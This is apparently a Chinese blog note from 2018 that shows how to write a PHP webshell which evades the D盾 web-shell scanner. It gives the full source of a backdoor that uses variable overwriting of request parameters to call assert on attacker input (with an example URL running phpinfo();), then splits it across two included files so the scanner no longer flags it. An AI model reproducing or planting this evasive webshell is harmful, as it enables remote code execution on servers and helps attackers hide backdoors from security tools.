[关闭]
@1kbfree 2018-10-07T16:43:04.000000Z 字数 744 阅读 1543

过D盾的马子

Bypass


简介

发现最近过waf很好玩,异想天开的写代码就好了(当然要写的对),然后自己也来试一试,想到了利用变量覆盖来绕过~

开始玩耍吧

首先,我们先来了解一下变量覆盖漏洞,这里我之前写过一个文章,可以转到此处看(https://www.zybuluo.com/1kbfree/note/1135811),然后这里运用的就是$$变量覆盖方法,代码如下

  1. <?php
  2. $a = '小狗狗你好啊';
  3. $b = '小盾盾你好啊';
  4. // 你妹
  5. foreach ($_REQUEST as $key => $value) {
  6. $$key = $value;
  7. }
  8. $b( $a );

然后访问并且带上参数?b=assert&a=phpinfo();就可以执行phpinfo函数,如下

image_1coogbgai1t112i3qh1e6nvdp9.png-120.7kB

然后放到D盾处骚(我日,输入法自己打的)一下

image_1coogd1r61t631h581ufjl7h1s5vm.png-127.8kB

此时心情 -> 你妹,擦。ooxx$@%awdaw..(省略一万字)

这都给拦截了,好吧,然后就试了一下然后发现很多办法都没成功,虽然级别只是1,但是依旧不是最完美的,然后就在i春秋看到一个表哥利用分离方法来绕过了,很骚气,原文链接:https://bbs.ichunqiu.com/thread-25644-1-1.html。。。 然后我也试一下,发现是可以绕过的,如下

image_1coogl0ml1edf4dr1srffo0l7p13.png-217kB

然后再放D盾扫下

image_1cooglp0ftkh19at174j1r8l3k71g.png-121.3kB

嘻嘻,这里D盾已经没扫到了(谢谢盾哥配合啊) 你妹

d_dunn.php 代码:

  1. <?php
  2. include 'd_dun.php';
  3. $b( $a );

d_dun.php 代码:

  1. <?php
  2. $a = '小狗狗你好啊';
  3. $b = '小盾盾你好啊';
  4. // 你妹
  5. foreach ($_REQUEST as $key => $value) {
  6. $$key = $value;
  7. }
  8. /*
  9. http://127.0.0.1/waf/d_dun.php?b=assert&a=phpinfo();
  10. */
添加新批注
在作者公开此批注前,只有你和作者可见。
回复批注